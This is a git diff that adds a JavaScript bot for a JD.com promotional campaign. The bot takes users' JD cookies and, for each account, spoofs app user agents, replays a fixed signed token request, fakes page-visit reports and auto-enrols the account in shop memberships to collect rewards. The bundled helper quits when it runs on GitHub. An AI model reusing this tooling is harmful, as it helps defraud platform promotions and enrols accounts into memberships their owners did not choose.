s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_go3.js b/backUp/jd_lzdz1_go3.js new file mode 100644 index 0000000..049b81f --- /dev/null +++ b/backUp/jd_lzdz1_go3.js @@ -0,0 +1,598 @@ +/* +大牌强联合 好物提前购 +10-28 ~ 11~5 +https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=946hf38m5d4vqjgs5ctfuickj65s69l528&shareUuid=f0a85730507a4ebcbd28162be46fc8f6 + +默认执行脚本。如果需要不执行 +环境变量 NO_RUSH=false +*/ +const $ = new Env("大牌强联合 好物提前购"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let isRush = true; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +if (process.env.NO_RUSH && process.env.NO_RUSH != "") { + isRush = process.env.NO_RUSH; +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_go3.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + 'f0a85730507a4ebcbd28162be46fc8f6', + ] + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = '946hf38m5d4vqjgs5ctfuickj65s69l528' + $.activityShopId = '1000001469' + $.activityUrl = `https://lzdz1-isv.isvjd.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + if (isRush) { + console.log("未检测到不执行环境变量,执行任务") + await rush(); + } else { + console.log("检测到不执行环境变量,退出任务,环境变量 NO_RUSH") + break + } + await $.wait(3000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function rush() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + $.log("->关注店铺") + if ($.shopTask) { + if (!$.shopTask.allStatus) { + await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) + } else { + $.log(" >>>已经关注过了\n") + await $.wait(2000) + return + } + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加入店铺会员") + if ($.openCardStatus) { + for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { + $.log("模拟上报访问记录") + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000004065&pageId=dz20211013skcnurdk11jhdue84752hp&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(2000) + } + t1TaskList = [] + $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) + t2TaskList = [] + $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) + if (t1TaskList.length < 1) { + console.log(" >>>已经完成入会任务") + + } else { + for (const vo of t1TaskList) { + $.log(` >>>去加入${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + for (const vo of t2TaskList) { + $.log(` >>>${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + } + + await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) + + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加购物车") + await task("dz/openCard/saveTask", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&type=2&taskValue=100025232454`) + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'wxActionCommon/getUserInfo': + break; + case 'dz/openCard/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log(ownCode) + } + $.actorUuid = data.data.actorUuid; + $.skuTask = data.data.addSku; + $.shopTask = data.data.followShop; + } else { + $.log("活动已经结束"); + } + break; + case 'dz/openCard/checkOpenCard': + $.openCardStatus = data.data; + break; + case 'dz/openCard/saveTask': + console.log(data.data.addBeanNum) + break; + case 'dz/openCard/saveTask': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + case 'dz/openCard/startDraw': + if (data.data.drawOk) { + switch (data.data.drawInfo.type) { + case 6: + $.bean += data.data.drawInfo.beanNum; + $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) + break; + default: + if ($.isNode()) { + await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } else { + $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } + break; + } + } + break; + case 'crm/pageVisit/insertCrmPageVisit': + $.log("==> 上报成功") + + case 'dz/openCard/followShop': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjd.com/${function_id}` : `https://lzdz1-isv.isvjd.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjd.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjd.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjd.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjd.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjd.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + // $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = 